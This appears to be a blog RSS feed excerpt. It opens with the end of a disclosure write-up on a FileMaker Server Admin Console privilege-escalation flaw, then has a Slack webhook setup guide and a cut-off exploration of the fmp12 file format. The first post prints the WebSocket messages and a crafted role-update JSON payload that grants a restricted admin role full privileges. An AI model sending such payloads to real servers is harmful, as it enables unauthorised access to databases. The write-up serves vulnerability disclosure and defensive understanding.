&lt;p&gt;If we want to open a database file via the Admin Console, a message like this is sent to the server:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;42[&amp;#34;EVENT_DB_ACTION_REQUEST&amp;#34;,{&amp;#34;type&amp;#34;:&amp;#34;open&amp;#34;,&amp;#34;id&amp;#34;:&amp;#34;2&amp;#34;,&amp;#34;params&amp;#34;:{}}]
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;If we login with a restricted role and try to send this message for a database which we shouldn&amp;rsquo;t have access to (based on the &amp;ldquo;Role folder&amp;rdquo; when configuring the Administrator Roles), the database still opens.&lt;/p&gt;
&lt;p&gt;Additionally, our role does not even need to have the &amp;ldquo;Database Privilege&amp;rdquo; turned on.&lt;/p&gt;
&lt;p&gt;We can do any database operation on any database no matter what our role settings indicate. In fact, any event I tested was successfully processed (also other settings that can be allowed or not allowed - like viewing logs).&lt;/p&gt;
&lt;p&gt;So it seems that the server is only checking whether we have an authenticated session, not what privileges the role associated with that session has.&lt;/p&gt;
&lt;p&gt;The Admin Console frontend, however, gives the impression that everything is locked down. It knows what privileges a user has – the server sends that information right at the beginning. But the server seems to fully trust that every message sent to it is legit.&lt;/p&gt;
&lt;p&gt;Trusting the frontend, that is essentially under control of the user, is the problem here.&lt;/p&gt;
&lt;p&gt;If a user with limited privileges wouldn&amp;rsquo;t want to go through the hassle of crafting their own custom message anytime (as the frontend doesn&amp;rsquo;t display the actions that you shouldn&amp;rsquo;t be able to perform), they can just give themselves all privileges and access to all databases via another WebSocket event: &lt;code&gt;EVENT_ADMIN_ROLE_UPDATE&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Sending a modified admin role configuration using this event is equally accepted by the server.&lt;/p&gt;
&lt;p&gt;So we could send something like the following to assign ourselves (as a restricted administrator role) all the privileges and remove the folder restriction:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;{
 &amp;#34;AdminRolejson&amp;#34;: {
 &amp;#34;groups&amp;#34;: [
 {
 &amp;#34;privileges&amp;#34;: [
 &amp;#34;DATABASE_MANAGEMENT&amp;#34;,
 &amp;#34;SCHEDULE_MANAGEMENT&amp;#34;,
 &amp;#34;SCHEDULE_BACKUP&amp;#34;,
 &amp;#34;SCHEDULE_VERIFY&amp;#34;,
 &amp;#34;SCHEDULE_SCRIPT&amp;#34;,
 &amp;#34;DIAGNOSTICS_VIEWING&amp;#34;
 ],
 &amp;#34;db_pri&amp;#34;: true,
 &amp;#34;sched_pri&amp;#34;: true,
 &amp;#34;sched_backup_pri&amp;#34;: true,
 &amp;#34;sched_verify_pri&amp;#34;: true,
 &amp;#34;sched_script_pri&amp;#34;: true,
 &amp;#34;log_pri&amp;#34;: true,
 &amp;#34;password&amp;#34;: &amp;#34;$0$EMLIItg2FQ4Qfus15E/+B7KJfJt/dEbnz4jCQJVwrTt0&amp;#34;,
 &amp;#34;xauthGroup&amp;#34;: &amp;#34;&amp;#34;,
 &amp;#34;homeFolder&amp;#34;: &amp;#34;filewin:/C:/Program Files/FileMaker/FileMaker Server/Data/Databases/&amp;#34;,
 &amp;#34;dbFolderPath&amp;#34;: &amp;#34;filewin:/C:/Program Files/FileMaker/FileMaker Server/Data/Databases/&amp;#34;,
 &amp;#34;dbSubFolderName&amp;#34;: &amp;#34;&amp;#34;,
 &amp;#34;name&amp;#34;: &amp;#34;restricted_access&amp;#34;,
 &amp;#34;id&amp;#34;: 1693575613430
 }
 ]
 }
}
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;We are essentially taking the configuration object initially obtained from &lt;code&gt;EVENT_ADMIN_ROLE_LIST&lt;/code&gt;, adding all privileges, remove the sub-folder restriction and send it to the server.&lt;/p&gt;
&lt;p&gt;Our connection is dropped, but next time we login with our previously limited role, we now have all the controls available in the frontend (which sends events that are, of course, successfully processed on the server side as well).&lt;/p&gt;
&lt;h2 id="proof-of-concept"&gt;Proof of Concept&lt;/h2&gt;
&lt;p&gt;Putting both the IP restriction bypass and the Administrator Role privilege escalation into a proof of concept, it could look like this:&lt;/p&gt;
&lt;div class="notice notice-warning"&gt;
 When I prepared this post, I originally wanted to publish the proof-of-concept code here to demonstrate the issue. I now decided against this, because one of the issues is still not properly fixed even though the ticket at Apple was marked as &amp;ldquo;resolved&amp;rdquo;. I communicated this, but they require a new ticket to be opened, even though in my opinion all information is already available. They also labeled the bug as &amp;ldquo;Ineligible&amp;rdquo; for a bounty. I didn&amp;rsquo;t open a new ticket to explain everything again, but will hold off from publishing the proof-of-concept code for now.
&lt;/div&gt;

&lt;p&gt;(continued from originally prepared post)&lt;/p&gt;
&lt;p&gt;The output will be the following:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;2023-09-01 18:01:58 [INFO] Got auth token
2023-09-01 18:02:03 [INFO] WebSocket connected
2023-09-01 18:02:03 [INFO] Identified admin role object
2023-09-01 18:02:03 [INFO] Sending changed admin role object. Re-login to the admin console to see if additional privileges have been added.
2023-09-01 18:02:03 [INFO] Disconnected
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;In short, the script authenticates with a restricted administrator role, then makes a socket.IO connection and waits for the server to send the &lt;code&gt;EVENT_ADMIN_ROLE_LIST&lt;/code&gt; event.&lt;/p&gt;
&lt;p&gt;Once received, it takes the config object of the role that we authenticated with, adds all privileges and removes the folder restriction from the config object, and then emits a &lt;code&gt;EVENT_ADMIN_ROLE_UPDATE&lt;/code&gt; event with the crafted payload.&lt;/p&gt;
&lt;p&gt;After running the script, the formerly restricted administrator role now has all privileges and can re-login to the admin console.&lt;/p&gt;
&lt;h2 id="timeline"&gt;Timeline&lt;/h2&gt;
&lt;p&gt;I reported these issues on 01.09.2023 via the Apple Security program. For CVE-2024-40768 I received a bounty. The other two issues were deemed &amp;ldquo;Ineligible&amp;rdquo; for a bounty (in my opinion the privilege escalation is more severe than the rewarded issue, but maybe it falls into a different category - who knows!?).&lt;/p&gt;
&lt;p&gt;The ticket for CVE-2024-40768 was closed in October 2024 (fixed in 21.0.1).&lt;/p&gt;
&lt;p&gt;The ticket for CVE-2023-42954 was closed in June 2024 (partially fixed in 20.3.1; fix is insufficient)&lt;/p&gt;
&lt;p&gt;The ticket for CVE-2023-42955 is still open, but the issue was already fixed in version 20.3.2 (8 months ago).&lt;/p&gt;
&lt;p&gt;I decided to publish this post in October 2024 (without any proof-of-concept code for now, due to the reasons explained above).&lt;/p&gt;
&lt;h2 id="claris-disclosures"&gt;Claris disclosures&lt;/h2&gt;
&lt;p&gt;All bugs were publicly disclosed by Claris before this post was published:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://support.claris.com/s/article/Administrator-role-passwords-being-exposed-when-logged-into-the-Admin-Console?language=en_US"&gt;CVE-2023-42955&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://support.claris.com/s/answerview?anum=000041424&amp;amp;language=en_US"&gt;CVE-2023-42954&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://support.claris.com/s/article/Admin-Console-access-restriction-bypass-in-Claris-FileMaker-Server-Cloud?language=en_US"&gt;CVE-2024-40768&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>allgood.systems: get a Slack message when your server goes down</title><link>https://davidhamann.de/2024/07/28/slack-message-when-server-goes-down/</link><pubDate>Sun, 28 Jul 2024 00:00:00 +0000</pubDate><guid>https://davidhamann.de/2024/07/28/slack-message-when-server-goes-down/</guid><description>&lt;p&gt;I was recently asked if it&amp;rsquo;s possible to post a message to a Slack channel whenever the state of a monitor on &lt;a href="https://allgood.systems"&gt;allgood.systems&lt;/a&gt; changes (for example, a web server goes down, a job starts failing, etc.).&lt;/p&gt;
&lt;p&gt;The answer is &amp;ldquo;yes&amp;rdquo;, and it&amp;rsquo;s quite easy to set this up once you have a Slack app configured.&lt;/p&gt;
&lt;p&gt;All you need to do on allgood&amp;rsquo;s side is to add a web hook to your notification group, enter the URL you get from Slack, and define what message you want to send.&lt;/p&gt;
&lt;h2 id="creating-a-slack-app"&gt;Creating a Slack app&lt;/h2&gt;
&lt;p&gt;In the past you could just add Slack&amp;rsquo;s &lt;a href="https://slack.com/apps/A0F7XDUAZ-incoming-webhooks?tab=more_info"&gt;&amp;ldquo;Incoming WebHook&amp;rdquo;&lt;/a&gt; to your workspace and were – more or less – done.&lt;/p&gt;
&lt;p&gt;A while ago, however, this method was deprecated, and Slack now recommends to create your own &amp;ldquo;App&amp;rdquo; instead.&lt;/p&gt;
&lt;p&gt;&amp;ldquo;Creating an app&amp;rdquo; sound more involved than it actually is. You just have to click through a few menus to &amp;ldquo;build&amp;rdquo; one.&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s follow the &lt;a href="https://api.slack.com/quickstart"&gt;Quick Start Guide&lt;/a&gt; and take the following actions:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Go to &lt;a href="https://api.slack.com/apps"&gt;Apps&lt;/a&gt; and click &amp;ldquo;Create New App&amp;rdquo; -&amp;gt; &amp;ldquo;From scratch&amp;rdquo;. Then give your app a name, for example &amp;ldquo;allgood bot&amp;rdquo;, and choose the workspace to use it in.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img alt="New Slack app" loading="lazy" src="https://davidhamann.de/images/slack-app-name-min.png"&gt;&lt;/p&gt;
&lt;ol start="2"&gt;
&lt;li&gt;Go to &amp;ldquo;OAuth &amp;amp; Permissions&amp;rdquo; -&amp;gt; &amp;ldquo;Scopes&amp;rdquo;, and then add the following &amp;ldquo;Bot Token Scopes&amp;rdquo;: &lt;code&gt;chat:write.public&lt;/code&gt; and &lt;code&gt;chat:write&lt;/code&gt;. This will allow your bot to post messages.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img alt="Configure scopes" loading="lazy" src="https://davidhamann.de/images/slack-scope-min.png"&gt;&lt;/p&gt;
&lt;ol start="3"&gt;
&lt;li&gt;Go to &amp;ldquo;Incoming WebHooks&amp;rdquo; and set it to &amp;ldquo;enabled&amp;rdquo;.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img alt="Enable webhooks" loading="lazy" src="https://davidhamann.de/images/slack-webhooks-min.png"&gt;&lt;/p&gt;
&lt;ol start="4"&gt;
&lt;li&gt;Go back to &amp;ldquo;Basic Information&amp;rdquo; and click &amp;ldquo;Install to Workspace&amp;rdquo;. You will be prompted to allow the bot&amp;rsquo;s actions and have to select a channel for your bot to post in (for example &lt;code&gt;#general&lt;/code&gt;).&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img alt="Install to Workspace" loading="lazy" src="https://davidhamann.de/images/slack-basic-info-min.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="Install to Workspace" loading="lazy" src="https://davidhamann.de/images/slack-permission-min.png"&gt;&lt;/p&gt;
&lt;ol start="5"&gt;
&lt;li&gt;Go back to &amp;ldquo;Incoming WebHooks&amp;rdquo;, and copy the URL that is referenced for the channel you selected.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img alt="Install to Workspace" loading="lazy" src="https://davidhamann.de/images/slack-webhook-url-min.png"&gt;&lt;/p&gt;
&lt;p&gt;Now, log back into allgood.systems and continue the setup there.&lt;/p&gt;
&lt;h2 id="setup-on-allgoodsystems"&gt;Setup on allgood.systems&lt;/h2&gt;
&lt;p&gt;&lt;img alt="Notifications settings" loading="lazy" src="https://davidhamann.de/images/allgood-notifcations-min.png"&gt;&lt;/p&gt;
&lt;p&gt;First, you go to notification settings and then either select an existing notification group or create a new one.&lt;/p&gt;
&lt;p&gt;For the existing or new group, you can then click on &amp;ldquo;Add member&amp;rdquo;, select &amp;ldquo;Web hook&amp;rdquo; as type and &amp;ldquo;POST&amp;rdquo; as method:&lt;/p&gt;
&lt;p&gt;&lt;img alt="Web hook configuration" loading="lazy" src="https://davidhamann.de/images/allgood-webhook-min.png"&gt;&lt;/p&gt;
&lt;p&gt;Now, you can copy the web hook URL from Slack and enter it into the URL field.&lt;/p&gt;
&lt;p&gt;In the JSON payload you can define your desired message structure and make use of the available placeholders (such as the monitor url).&lt;/p&gt;
&lt;p&gt;For example:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;{
 &amp;#34;blocks&amp;#34;: [
 {
 &amp;#34;type&amp;#34;: &amp;#34;section&amp;#34;,
 &amp;#34;text&amp;#34;: {
 &amp;#34;type&amp;#34;: &amp;#34;mrkdwn&amp;#34;,
 &amp;#34;text&amp;#34;: &amp;#34;{{subject}}&amp;#34;
 }
 },
 {
 &amp;#34;type&amp;#34;: &amp;#34;section&amp;#34;,
 &amp;#34;text&amp;#34;: {
 &amp;#34;type&amp;#34;: &amp;#34;mrkdwn&amp;#34;,
 &amp;#34;text&amp;#34;: &amp;#34;👉 &amp;lt;{{monitor_url}}|View Monitor&amp;gt;&amp;#34;
 }
 }
 ]
}
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;If you&amp;rsquo;ve attached the web hook to a notification group already linked to your monitors, your setup is now complete.&lt;/p&gt;
&lt;p&gt;If you instead created a new notification group, go to one of your monitors, select &amp;ldquo;Edit&amp;rdquo; and choose the new group in the monitor&amp;rsquo;s notification settings.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Select notification group" loading="lazy" src="https://davidhamann.de/images/allgood-notification-selection-min.png"&gt;&lt;/p&gt;
&lt;p&gt;Now, whenever a notification is triggered, you will see a new message in your configured Slack channel.&lt;/p&gt;
&lt;p&gt;And, if you enabled repeated down notifications, you will also get these notifications repeatedly in Slack.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Bot message in Slack" loading="lazy" src="https://davidhamann.de/images/slack-message-allgood-min.png"&gt;&lt;/p&gt;</description></item><item><title>Exploring the fmp12 file format; or: what was my password again?</title><link>https://davidhamann.de/2024/06/17/how-does-filemaker-store-passwords/</link><pubDate>Mon, 17 Jun 2024 00:00:00 +0000</pubDate><guid>https://davidhamann.de/2024/06/17/how-does-filemaker-store-passwords/</guid><description>&lt;h2 id="introduction"&gt;Introduction&lt;/h2&gt;
&lt;p&gt;I had been planning for a while to dive deeper into the fmp12 file format to explore how data is organized and how accounts and passwords are stored. A few months ago, I finally found the time to do it.&lt;/p&gt;
&lt;p&gt;The first thing I noticed was just how little information publicly exists about the file format and especially about account and password storage.&lt;/p&gt;
&lt;p&gt;The only information on the latter was that &amp;ldquo;a one-way hash&amp;rdquo; is used for storing passwords and that there are some password reset tools that – according to forums – might work but would also &amp;ldquo;damage&amp;rdquo; your file, without any further clarification.&lt;/p&gt;
&lt;p&gt;In my opinion this kind of knowledge shouldn&amp;rsquo;t only exist for password recovery tool vendors. If you invest a lot time and money into your fmp12 solution, you should know how much or how little local accounts/passwords protect distributed files and also what the reset tools actually do to your files.&lt;/p&gt;
&lt;p&gt;It should come to no surprise to some people that you can get around the password protection of unencrypted local files. However, I&amp;rsquo;ve also spoken to many people in the past who thought a password protected (local) fmp12 file is literally protected if you don&amp;rsquo;t have the password (i.e. you cannot get into the file to access the data or code).&lt;/p&gt;
&lt;p&gt;In June 2024, I gave a talk about this topic at the &lt;a href="https://www.dotfmp.berlin"&gt;dotfmp conference&lt;/a&gt;. This post will follow the general flow of the presentation. Just like in the talk, we start at the very beginning with some basics (I have also included the number base conversions to keep it complete).&lt;/p&gt;
&lt;p&gt;The following article does &lt;em&gt;not&lt;/em&gt; come with a proof-of-concept code to reset account passwords for fmp12 files, but it will give you an understanding of the protections in place.&lt;/p&gt;
&lt;p&gt;A disclaimer up front: all information presented in the following is based on my observations and some assumptions. As there is no open specification of the file format, we just have to accept that certain things cannot be fully confirmed.&lt;/p&gt;
&lt;p&gt;Also note that this is not a post about a vulnerability but rather an exploration into how things works internally in an fmp12 file. We are &lt;em&gt;not&lt;/em&gt; talking about accessing a remote file on FileMaker Server.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;TL;DR:&lt;/strong&gt; If you have access to a local fmp12 file, account passwords can be reset. If you just want to read some data from a file, you obviously don&amp;rsquo;t even need an account/password. If you want to properly protect your local files, use the encryption at rest feature – it&amp;rsquo;s designed for exactly this.&lt;/p&gt;
&lt;h2 id="number-bases--radices-bits-and-bytes"&gt;Number bases / radices, bits and bytes&lt;/h2&gt;
&lt;p&gt;Over the course of this blog post we are going to look at a lot of raw byte values. Some values are better represented in binary or hexadecimal form.&lt;/p&gt;
&lt;p&gt;So let&amp;rsquo;s start with a quick refresher on how to read numbers in base 10, base 2 and base 16. If you deal with binary and hex values all the time, feel free to skip this section.&lt;/p&gt;
&lt;h3 id="base-10"&gt;Base 10&lt;/h3&gt;
&lt;p&gt;In everyday life we&amp;rsquo;re mostly using the base 10 numeral system. If you see the number 2024, you don&amp;rsquo;t think much about it because you&amp;rsquo;re used to working with decimal numbers.&lt;/p&gt;
&lt;p&gt;But let&amp;rsquo;s have a look at the formula that actually lets you compute the value from the individual digits of a decimal number:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;d3 d2 d1 d0
| | | |
| | | +-- The ones
| | +-- The tens
| +-- The hundreds
+-- The thousands
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;In base 10 every digit can represent one of 10 values (0-9) and each of the digits contributes to the total value.&lt;/p&gt;
&lt;p&gt;The number 2024 can be represented like so:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;2 0 2 4
| | | |
| | | +-- The ones
| | +-- The tens
| +-- The hundreds
+-- The thousands
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;So to get to two-thousand-twenty-four, we can just read what every place contributes and add these values together:&lt;/p&gt;
$$d_{N-1} \times 10^{N-1} + d_{N-2} \times 10^{N-2} + d_{N-3} \times 10^{N-3} + d_{N-4} \times 10^{N-4}$$$$d_{3} \times 10^3 + d_{2} \times 10^2 + d_{1} \times 10^1 + d_{0} \times 10^0$$$$2 \times 10^3 + 0 \times 10^2 + 2 \times 10^1 + 4 \times 10^0$$$$2 \times 1000 + 0 \times 100 + 2 \times 10 + 4 \times 1$$$$2000 + 0 + 20 + 4$$$$2024$$&lt;p&gt;As you will see in the following, the same formula also applies to other bases if the base value is swapped out accordingly.&lt;/p&gt;
&lt;h3 id="base-2"&gt;Base 2&lt;/h3&gt;
&lt;p&gt;In base 2 every digit can have one of two values, 0 or 1. Taking a sample value of &lt;code&gt;0b1101&lt;/code&gt; (decimal &lt;code&gt;13&lt;/code&gt;), we can compute the decimal value using the same steps as before:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;d3 d2 d1 d0
| | | |
| | | +-- The ones
| | +-- The twos
| +-- The fours
+-- The eights


1 1 0 1 = decimal 13
| | | |
| | | +-- The ones
| | +-- The twos
| +-- The fours
+-- The eights
&lt;/code&gt;&lt;/pre&gt;$$d_{N-1} \times 2^{N-1} + d_{N-2} \times 2^{N-2} + d_{N-3} \times 2^{N-3} + d_{N-4} \times 2^{N-4}$$$$d_{3} \times 2^3 + d_{2} \times 2^2 + d_{1} \times 2^1 + d_{0} \times 2^0$$$$1 \times 2^3 + 1 \times 2^2 + 0 \times 2^1 + 1 \times 2^0$$$$1 \times 8 + 1 \times 4 + 0 \times 2 + 1 \times 1$$$$8 + 4 + 0 + 1$$$$13$$&lt;div class="notice notice-info"&gt;
 Often times the prefix &lt;code&gt;0b&lt;/code&gt; is used to indicate that you&amp;rsquo;re looking at a binary number.
&lt;/div&gt;

&lt;h3 id="base-16"&gt;Base 16&lt;/h3&gt;
&lt;p&gt;Lastly, we have base 16, which will be the most used in the contents to follow. In base 16 we have 16 possible values for every digit, 0 to 15. The values from &lt;code&gt;10&lt;/code&gt; to &lt;code&gt;15&lt;/code&gt; are represented by letters &lt;code&gt;a&lt;/code&gt; to &lt;code&gt;f&lt;/code&gt;.&lt;/p&gt;
&lt;div class="notice notice-info"&gt;
 Hexadecimal values are usually prefixed with &lt;code&gt;0x&lt;/code&gt;.
&lt;/div&gt;

&lt;p&gt;To get the decimal value from a hexadecimal number, we can follow the same steps as before, but use 16 as the base:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;d3 d2 d1 d0
| | | |
| | | +-- The ones
| | +-- The 16s
| +-- The 256s
+-- The 4096s


C A F E = 51966
| | | |
| | | +-- The ones
| | +-- The 16s
| +-- The 256s
+-- The 4096s
&lt;/code&gt;&lt;/pre&gt;$$d_{N-1} \times 16^{N-1} + d_{N-2} \times 16^{N-2} + d_{N-3} \times 16^{N-3} + d_{N-4} \times 16^{N-4}$$$$d_{3} \times 16^3 + d_{2} \times 16^2 + d_{1} \times 16^1 + d_{0} \times 16^0$$$$12 \times 16^3 + 10 \times 16^2 + 15 \times 16^1 + 14 \times 16^0$$$$12 \times 4096 + 10 \times 256 + 15 \times 16 + 14 \times 1$$$$49152 + 2560 + 240 + 14$$$$51966$$&lt;h3 id="bits-and-bytes"&gt;Bits and Bytes&lt;/h3&gt;
&lt;p&gt;As the last theoretical bit (pun not intended :-)), let&amp;rsquo;s have a look what is in a byte and how we can represent bytes in a clear way:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;1 byte = 8 bits = 256 possible values (0 to 255)

Example: 0b10000001 = 0x81 = 129
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;When dealing with 16, 32, or 64-bit values it quickly becomes impractical to use a base 2 or base 10 representation of values.&lt;/p&gt;
&lt;p&gt;Looking at just a 16-bit (2-byte) value, you can tell that 16 &lt;code&gt;0&lt;/code&gt;s and &lt;code&gt;1&lt;/code&gt;s are hard to make sense of (unless they are all the same). And in a decimal representation it&amp;rsquo;s hard to know how many bytes a number represents.&lt;/p&gt;
&lt;p&gt;But seeing the same value represented in hexadecimal, we can immediately spot that it&amp;rsquo;s two bytes (1 byte can be represented in two hex digits):&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;0b1111111111111111 = 0xffff = 65535
16 bits = 2 bytes
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="the-fmp12-file-format"&gt;The fmp12 file format&lt;/h2&gt;
&lt;h3 id="visual-inspection-and-header"&gt;Visual inspection and header&lt;/h3&gt;
&lt;p&gt;Now that we&amp;rsquo;ve covered the theoretical background, let&amp;rsquo;s see how an fmp12 file actually looks like when examining the raw bytes of it:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt; |----------- magic bytes -----------|--
00000000: 0001 0000 0002 0001 0005 0002 0002 c048 ...............H
 format--|
00000010: 4241 4d37 0000 1000 0000 0000 0000 0000 BAM7............
00000020: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000030: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000040: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000050: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000060: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000070: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000080: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000090: 0000 0000 0000 0000 0000 0000 0000 0000 ................
000000a0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
...
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;As is common for many formats, the file begins with a &lt;a href="https://en.wikipedia.org/wiki/List_of_file_signatures"&gt;magic byte-sequence&lt;/a&gt; signature. This is followed by what appears to be the internal name of the format: HBAM7.&lt;/p&gt;
&lt;p&gt;If we were to look at an encrypted file the format would say &lt;code&gt;HBAMe&lt;/code&gt; and the rest of the file would by, well, encrypted.&lt;/p&gt;
&lt;p&gt;A quick glance at the file also reveals its organization into 4-kilobyte blocks. Before each multiple of 4096 bytes we see a bunch of null bytes (&lt;code&gt;0x00&lt;/code&gt;) as the blocks are usually not completely filled.&lt;/p&gt;
&lt;h3 id="helpful-resources"&gt;Helpful resources&lt;/h3&gt;
&lt;p&gt;As noted earlier, there are very few online resources about fmp12. However, the following three were valuable for kickstarting the process of understanding the file format:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=e9z4PL6QdzQ"&gt;Under the Hood: The Draco Engine - Clay Maeckel&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=rrNNralTks8"&gt;Under the Hood: Draco Database by Clay Maeckel&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/evanmiller/fmptools"&gt;fmptools, code + docs (op codes), Evan Miller&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The first two are DevCon talks which give a few insights about how FileMaker Pro/Server logically organizes files. The third, &lt;code&gt;fmptools&lt;/code&gt;, is a repository containing C code to parse and extract table data from fmp12 (and older) files and does a great job &lt;a href="https://github.com/evanmiller/fmptools/blob/main/HACKING"&gt;documenting&lt;/a&gt; many of the byte-codes used in the payloads of the 4K blocks.&lt;/p&gt;
&lt;p&gt;If you want to get familiar with the format I highly recommend starting by writing a parser yourself and implementing the codes documented in this repository.&lt;/p&gt;
&lt;h3 id="block-structure"&gt;Block structure&lt;/h3&gt;
&lt;p&gt;The 4096 byte blocks in the file are organized as a doubly linked list, meaning each block knows the ID of the previous and next block.&lt;/p&gt;
&lt;p&gt;This information (and other meta data, e.g. if a block was deleted or not) is stored in the first few bytes of every block.&lt;/p&gt;
&lt;p&gt;So by parsing the block header, we can determine the offset to which we need to jump next in the file.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt; |prev ID| |next ID|
00001000: 0000 0000 0000 0000 0000 0043 0001 0de7 ...........C....
 |- beginning of payload ----
00001010: 0000 0894 1b00 0100 0000 0220 0220 8703 ........... . ..
 -- cont. until end of block---------...
00001020: 0300 0000 41c3 0600 0000 4220 88c3 0100 ....A.....B ....
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="payload"&gt;Payload&lt;/h3&gt;
&lt;p&gt;The payload in each block consists of a sequence of bytes, beginning with a code that describes the following data chunk or the operation to be performed.&lt;/p&gt;
&lt;p&gt;The op-codes &lt;code&gt;0x40&lt;/code&gt; (POP) and &lt;code&gt;0x20&lt;/code&gt; (PUSH) are used for constructing path information, such that the application reading the file is able to address the individual pieces of data later on.&lt;/p&gt;
&lt;p&gt;The data chunks we are interested in for the purpose of figuring out the account and password storage are mostly the key-value pairs (examples to follow). Be aware, though, that we have to have knowledge about all byte-codes in a payload of a block to be able to parse that block in its entirety.&lt;/p&gt;
&lt;p&gt;Examining a number of sample files yourself, you will likely notice that there are more than just the byte-codes documented in the &lt;a href="https://github.com/evanmiller/fmptools/blob/main/HACKING"&gt;fmptools repository&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;When encountering a new/unknown code, there are two options: you could either try to reverse-engineer it or skip processing the rest of the payload and move on to the next block. For the purpose of learning about accounts and passwords it&amp;rsquo;s generally OK to skip ahead as long as the unknown codes don&amp;rsquo;t appear in the same block as the information we are interested in.&lt;/p&gt;
&lt;h2 id="encoding-of-data-and-payload-examples"&gt;Encoding of data, and payload examples&lt;/h2&gt;
&lt;p&gt;When you start exploring a file format and have an application at hand that can write data in that format, one of the easiest experiments you can do is to let the application write a known string into the file and see how that string is represented.&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s say we were to open an fmp12 file and chose the name &lt;code&gt;AAAAAA&lt;/code&gt; for a field, a script, an account name or anything else. Observing how the file changes once that name is committed would give us a clue on a) where the data is stored in the file, and b) how the data is stored.&lt;/p&gt;
&lt;p&gt;If you perform this experiment, you will quickly notice that the plaintext &lt;code&gt;AAAAAA&lt;/code&gt; does not appear anywhere in the file. Instead, each byte you enter is stored in a transformed (but predictable) manner. The six &lt;code&gt;A&lt;/code&gt;s do not appear as six instances of &lt;code&gt;0x41&lt;/code&gt; (decimal 65, the ASCII code for capital A) but rather as &lt;code&gt;0x1b&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Why &lt;code&gt;0x1b&lt;/code&gt;? It turns out that all the data in fmp12 files is XORed with the byte &lt;code&gt;0x5a&lt;/code&gt; – I assume just for a little obfuscation.&lt;/p&gt;
&lt;p&gt;How would you find the XOR byte? You just try out all possible byte values and see which one gives you back &lt;code&gt;0x41&lt;/code&gt; (&lt;code&gt;A&lt;/code&gt;) again.&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s have look at a short example of the bitwise XOR operation in case you are not familiar with it.&lt;/p&gt;
&lt;h3 id="xor-example"&gt;XOR example&lt;/h3&gt;
&lt;p&gt;We established that &lt;code&gt;0x1b ^ 0x5a = 0x41 = 65 = A&lt;/code&gt; (the caret denoting the XOR operator).&lt;/p&gt;
&lt;p&gt;XOR stands for &amp;ldquo;exclusive or&amp;rdquo; and the result of the operation is only true (1), if the two given inputs differ.&lt;/p&gt;
&lt;p&gt;And since we are performing a bit-wise operation, our inputs to XOR are the individual bits of the bytes.&lt;/p&gt;
&lt;p&gt;Sticking with the example from above, this looks like follows:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;0b00011011 ^ 0b01011010 = 0b01000001

00011011 &amp;lt;== 0x1b
01011010 &amp;lt;== 0x5a
--------
01000001 &amp;lt;== 0x41
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Going back to the formula from the very beginning, we can see that \(2^6 + 2^0 = 65\), and 65 is again the ASCII code for &amp;ldquo;A&amp;rdquo;.&lt;/p&gt;
&lt;h3 id="key-value-example"&gt;Key-value example&lt;/h3&gt;
&lt;p&gt;Let&amp;rsquo;s now look at an example of a data chunk inside a payload.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;0x06 0x10 0x05 0x1b 0x3e 0x37 0x33 0x34
